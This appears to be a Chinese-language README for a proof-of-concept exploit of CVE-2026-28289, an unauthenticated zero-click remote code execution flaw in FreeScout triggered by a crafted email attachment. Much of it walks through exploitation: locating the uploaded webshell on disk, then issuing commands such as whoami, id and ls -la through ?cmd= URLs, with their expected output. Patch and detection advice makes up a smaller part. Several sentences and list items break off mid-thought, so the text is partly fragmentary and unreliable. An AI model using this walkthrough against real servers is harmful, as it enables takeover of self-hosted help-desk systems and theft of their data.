

通过邮件附件绕过实现 FreeScout 零点击未授权 RCE
CVE-2026-28289,别名为 Mail2Shell,是一个影响 FreeScout 的**严重零点击远程代码执行(RCE)**漏洞。
攻击者可以向 FreeScout 邮箱发送一封特制邮件,从而在无需身份验证、无需用户交互的情况下获得底层服务器的远程 shell 访问权限。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-28289 |
| 严重程度 | 🔴 严重 |
| CVSS | 10.0(最高) |
| 攻击向量 | 远程(邮件) |
| 是否需要身份验证 | ❌ 无 |
| 用户交互 | ❌ 无 |
| 影响 | 服务器完全失陷 |
攻击者发送一封带有特制附件的邮件。
FreeScout 尝试阻止 .htaccess 等危险文件,但攻击者:
攻击者通过 Web 路径访问上传的文件并执行任意命令。
结果:
# Remote shell access achieved
whoami
www-data
✅ Email sent successfully! (Zero-Click RCE triggered)
你还会看到打印出的后续步骤说明。
find 命令时它会立即返回上传文件的完整真实路径,例如:
/var/www/html/storage/attachment/2026/03/05/15/webshell.txt
(或类似的日期/时间文件夹 —— 这确认 FreeScout 已自动保存了附件)。
复制第 2 步中的路径并打开此 URL:
http://your-freescout-domain.com/storage/attachment/2026/03/05/15/webshell.txt?cmd=whoami
你会看到以下确切输出(纯文本):
www-data
(或服务器上 Apache/PHP 运行用户的名称 —— 通常是 www-data、apache 或 nobody)。
现在更改命令并刷新:
http://your-freescout-domain.com/storage/attachment/2026/03/05/15/webshell.txt?cmd=id
你会看到:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
如果是 ls -la:
total 12
drwxr-xr-x 2 www-data www-data 4096 Mar 5 15:00 .
drwxr-xr-x 8 www-data www-data 4096 Mar 5 14:00 ..
-rw-r--r-- 1 www-data www-data 87 Mar 5 15:00 webshell.txt
此输出会直接出现在浏览器页面中(位于 webshell 输出的 <pre> 标签内)。没有错误、没有 PHP 源码、没有 404。
这意味着你已获得服务器上的完整远程代码执行能力 —— .htaccess + 零宽空格绕过完美生效,并且电子邮件附件在无需任何用户交互的情况下被处理。
FreeScout 的所有版本:
<= 1.8.206
请立即升级到:
1.8.207 or later
AllowOverride All查找:
.htaccess 文件/storage/attachments/ 的直接访问尝试失陷指标可能包括:
.htaccess 文件Email → Malicious Attachment (Unicode prefixed filename)
↓
Saved to predictable path
↓
Web-accessible execution
↓
Remote shell
此问题绕过了以下版本中添加的防护:
这表明文件名清理逻辑不完整。
| 风险领域 | 影响 |
|---|---|
| 机密性 | 🔴 高 |
| 完整性 | 🔴 高 |
| 可用性 | 🔴 高 |
如果你运行的是 FreeScout 自托管实例:
🔥 立即打补丁。 💡 如果运行暴露于互联网的受影响版本,请假设已被入侵。 🛡 执行日志审查和完整性检查。